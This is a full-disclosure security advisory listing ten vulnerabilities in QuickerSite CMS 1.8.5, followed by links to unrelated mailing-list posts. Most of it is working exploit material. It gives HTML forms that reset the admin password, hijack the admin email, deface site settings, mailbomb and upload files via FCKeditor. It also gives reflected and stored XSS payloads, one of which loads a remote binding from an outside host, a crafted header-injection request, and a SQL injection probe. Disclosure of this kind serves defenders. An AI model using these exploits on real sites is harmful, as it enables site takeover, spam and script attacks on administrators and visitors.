QuickerSite Multiple Vulnerabilities



########################## www.BugReport.ir #######################################
#
# AmnPardaz Security Research Team
#
# Title: QuickerSite Multiple Vulnerabilities
# Vendor: www.quickersite.com
# Vulnerable Version: 1.8.5
# Exploit: Available
# Impact: High
# Fix: N/A
# Original Advisory: http://bugreport.ir/index.php?/39
###################################################################################

####################
1. Description:
####################
QuickerSite is a Content Management System for Windows Servers. It is written in ASP/VBScript with an optional pinch of ASP.NET for true image-resizing capabilities. QuickerSite ships with an Access database, with the option to upsize to SQL Server 2000/2005 for busy sites (>1000 visitors/day).
####################
2. Vulnerabilities:
####################
2.1. Insecure Direct Object Reference [in "bs_login.asp"]. Everyone can change admin password.
2.1.1. Exploit:
Check the exploit section.
2.2. Insecure Direct Object Reference [in "bs_login.asp"]. Everyone can edit all the site info., such as admin email address.
2.2.1. Exploit:
Check the exploit section.
2.3. Insecure Direct Object Reference [in "bs_login.asp"]. Everyone can edit all the site design. (Also, all the site settings can be changed by other parameters)
2.3.1. Exploit:
Check the exploit section.
2.4. Failure to Restrict URL Access [in "mailPage.asp"]. Everyone can mailbomb others.
2.4.1. Exploit:
Check the exploit section.
2.5. Cross Site Scripting (XSS) [in "showThumb.aspx"]. Reflected XSS attack by circumventing the ASP.Net XSS denier (Path disclosure on the open error mode).
2.5.1. Exploit:
Check the exploit section.
2.6. Cross Site Scripting (XSS), Failure to Restrict URL Access [in "process_send.asp"]. Redirect Reflected XSS Attack In "SB_redirect" parameter. Reflected XSS, Content Spoofing In "SB_feedback" parameter. Everyone can mailbomb others.
2.6.1. Exploit:
Check the exploit section.
2.7. Cross Site Scripting (XSS) [in "picker.asp"]. Reflected XSS attack in "paramCode" and "cColor" parameters.
2.7.1. Exploit:
Check the exploit section.
2.8. Cross Site Scripting (XSS) [in "rss.asp"]. Stored XSS attack in "X-FORWARDED-FOR","QueryString","Referer"" header parameter. Attacker can execute an XSS against Admin.
2.8.1. Exploit:
Check the exploit section.
2.9. File uploading is allowed by FCKEDITOR.
2.9.1. Exploit:
Check the exploit section.
2.10. Injection Flaws [in "/asp/includes/contact.asp"]. SQL Injection on "check" function in "sNickName" parameter.
2.10.1. Exploit:
Check the exploit section.
####################
3. Exploits:
####################
Original Exploit URL: http://bugreport.ir/index.php?/39/exploit

3.1. Everyone can change admin password.
-------------
<form action="http://[URL]/asp/bs_login.asp?btnAction=cSaveAdminPW"; method="post">
adminPassword: <input type="text" name="adminPassword" value="" size="30" /><br />
adminPasswordConfirm: <input type="text" name="adminPasswordConfirm" value="" size="30" /><br />
<input type="submit" />
</form>
-------------
3.2. Everyone can edit all the site info., such as admin email address.
-------------
<form action="http://[URL]/asp/bs_login.asp?btnAction=saveAdmin"; method="post">
Site Url: <input type="text" name="sUrl" value="http://www.VICTIM.com"; size="100" /><br />
Site AlternateDomains: <input type="text" name="sAlternateDomains" value="http://www.VICTIM-Backup.com"; size="100" /><br />
Description: <input type="text" name="sDescription" value="Hacked Description" size="100" /><br />
Site Name: <input type="text" name="siteName" value="Hacked Site Name" size="100" /><br />
Site Title: <input type="text" name="siteTitle" value="Hacked Site Title" size="100" /><br />
CopyRight: <input type="text" name="copyRight" value="Hacked CopyRight" size="100" /><br />
Keywords: <input type="text" name="keywords" value="Hacked KeyWords" size="100" /><br />
Google Analytics: <input type="text" name="googleAnalytics" value="Hacked Google Anal!" size="100" /><br />
Language: <input type="text" name="language" value="1" size="100" /><br />
DatumFormat: <input type="text" name="sDatumFormat" value="1" size="100" /><br />
Webmaster: <input type="text" name="webmaster" value="Hacker" size="100" /><br />
Webmaster Email: <input type="text" name="webmasterEmail" value="MyEmail-ResetPassword@xxxxxxxxxx" size="100" /><br />
Default RSS Link: <input type="text" name="sDefaultRSSLink" value="http://www.VICTIM.com/RSS.asp"; size="100" /><br />
<input type="submit" />
</form>
-------------
3.3. Everyone can edit all the site design.
-------------
<form action="http://[URL]/asp/bs_login.asp?btnAction=saveDesign"; method="post">
siteWidth: <input type="text" name="siteWidth" value="800" size="30" /><br />
menuWidth: <input type="text" name="menuWidth" value="600" size="30" /><br />
bgColorSides: <input type="text" name="bgColorSides" value="" size="30" /><br />
bgImageLeft: <input type="text" name="bgImageLeft" value="" size="30" /><br />
bgImageRight: <input type="text" name="bgImageRight" value="" size="30" /><br />
mainBGColor: <input type="text" name="mainBGColor" value="" size="30" /><br />
mainBgImage: <input type="text" name="mainBgImage" value="" size="30" /><br />
scheidingsLijnColor: <input type="text" name="scheidingsLijnColor" value="" size="30" /><br />
scheidingsLijnWidth: <input type="text" name="scheidingsLijnWidth" value="100" size="30" /><br />
menuBGColor: <input type="text" name="menuBGColor" value="" size="30" /><br />
menuBGImage: <input type="text" name="menuBGImage" value="" size="30" /><br />
menuBorderColor: <input type="text" name="menuBorderColor" value="" size="30" /><br />
MenuHoverBGColor: <input type="text" name="MenuHoverBGColor" value="" size="30" /><br />
subMenuBorderColor: <input type="text" name="subMenuBorderColor" value="" size="30" /><br />
fontType: <input type="text" name="fontType" value="" size="30" /><br />
fontColor: <input type="text" name="fontColor" value="" size="30" /><br />
linkColor: <input type="text" name="linkColor" value="" size="30" /><br />
fontSize: <input type="text" name="fontSize" value="10" size="30" /><br />
fontWeight: <input type="text" name="fontWeight" value="10" size="30" /><br />
publicIconColor: <input type="text" name="publicIconColor" value="" size="30" /><br />
publicIconColorHover: <input type="text" name="publicIconColorHover" value="" size="30" /><br />
siteAlign: <input type="text" name="siteAlign" value="" size="30" /><br />
menuLocation: <input type="text" name="menuLocation" value="" size="30" /><br />
<input type="hidden" name="defaultTemplate" value="EEE" size="30" />
<input type="submit" />
</form>
-------------
3.4. Everyone can mailbomb others.
-------------
<form action="http://[URL]/mailPage.asp?iId=HILHG"; method="post">
<input type="text" name="btnAction" value="sendPage" />
<input type="text" name="sEmail" value="" />
<input type="submit" />
</form>
-------------
3.5. Reflected XSS attack by circumventing the ASP.Net XSS denier (Path disclosure on the open error mode).
-------------
http://[URL]/showThumb.aspx?img=test.jpg&close='STYLE='IRSDL:expr/**/ession(alert("XSS")) (IE)
http://[URL]/showThumb.aspx?img=test.jpg&close='STYLE='-moz-binding:url(%22http://ha.ckers.org/xssmoz.xml%23xss%22) (Mozilla)
http://[URL]/showThumb.aspx?img=test.jpg&close='STYLE='IRSDL:expr/**/ession(alert("XSS"));-moz-binding:url(%22http://ha.ckers.org/xssmoz.xml%23xss%22) (IE+Mozilla)
http://[URL]/showThumb.aspx (Path disc.)
-------------
3.6. Redirect Reflected XSS Attack In "SB_redirect" parameter in "process_send.asp". Reflected XSS, Content Spoofing In "SB_feedback" parameter in "process_send.asp". Everyone can mailbomb others.
-------------
<form action="http://[URL]/default.asp?iId=HILHG&pageAction=send"; method="post">
MailTo: <input type="text" name="SB_emailto" value="" size="100" /><br />
Subject: <input type="text" name="SB_subject" value="" size="100" /><br />
Messgae: <input type="text" name="Messgae" value="" size="100" /><br />
SB_feedback: <input type="text" name="SB_feedback" value="XSS" size="100" /><br />
SB_redirect: <input type="text" name="SB_redirect" value="XSS" size="100" /><br />
<input type="submit" />
</form>
-------------
3.7. Reflected XSS attack in "paramCode" and "cColor" parameters in "picker.asp"
-------------
http://[URL]/asp/colorpicker/picker.asp?paramCode=pickerPanel.value=''};alert('XSS')</script><script>
http://[URL]/asp/colorpicker/picker.asp?cColor=irsdl<script>alert('XSS')</script>
-------------
3.8. Stored XSS attack in "X-FORWARDED-FOR","QueryString","Referer"" header parameter. Attacker can execute an XSS against Admin.
-------------
Header must like this:

GET /rss.asp?iId=IHJEF&s="'><script>alert('XSS-QueryString!')</script> HTTP/1.1
Host: [URL]
User-Agent: Not
Referer: FooNotSite.com"'><script>alert('XSS-Referer!')</script>
X-FORWARDED-FOR: "'><script>alert('XSS-Proxy!')</script>
ACCEPT-LANGUAGE: test
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Proxy-Connection: keep-alive
-------------
3.9. File uploading is allowed by FCKEDITOR.
-------------
<form enctype="multipart/form-data" action="http://[URL]/fckeditor251/editor/filemanager/connectors/asp/upload.asp"; method="post">
<input type="file" name="NewFile"><br>
<input type="submit" value="Send it to the Server">
</form>
-------------
3.10. SQL Injection on "check" function in "sNickName" parameter.
-------------
http://[URL]/default.asp?pageAction=profile
Change "Nickname" to "'or'1'='1" and "'or'1'='2" and see the results
-------------
####################
4. Solution:
####################
Edit the source code to ensure that inputs are properly sanitized for 3.5, 3.6, 3.7, 3.8, 3.10, And use access control for others.
Note: First check the vendor and look for the patch.
####################
- Credit :
####################
AmnPardaz Security Research & Penetration Testing Group
Contact: admin[4t}bugreport{d0t]ir
WwW.BugReport.ir
WwW.AmnPardaz.com



Relevant Pages

  • [Full-Disclosure] its all about timing
    ... Why do people look for vulnerabilities? ... They publish vuln info because they have customers that pay (or ... Full Disclosure issue must take into account the ... report vulns primarily to the vendor, in the hope that the vendor will ...
    (Full-Disclosure)
  • Re: ROI (ROSI?) on IDP devices
    ... vulnerabilities go all the way up the application stack. ... after 2 to 7 days by IPS vendor. ... I'd say that's a useless IDP system, ... The signatures are lagging too far behind the vulnerabilities. ...
    (Focus-IDS)
  • [Full-disclosure] Vulnerability Type Distributions in CVE
    ... Vulnerability Type Distributions in CVE ... Table 4 Analysis: Open and Closed Source ... lead to publicly reported vulnerabilities, ... are in the top 3 for OS vendor advisories. ...
    (Full-Disclosure)
  • Vulnerability Type Distributions in CVE
    ... Vulnerability Type Distributions in CVE ... Table 4 Analysis: Open and Closed Source ... lead to publicly reported vulnerabilities, ... are in the top 3 for OS vendor advisories. ...
    (Bugtraq)
  • [Full-Disclosure] SugarSales Multiple Vulnerabilities
    ... Product: SugarSales ... Vendor: SugarCRM ... Multiple Vulnerabilities have been found in the open source customer ... all such file inclusion flaws, remote command execution is just the blink ...
    (Full-Disclosure)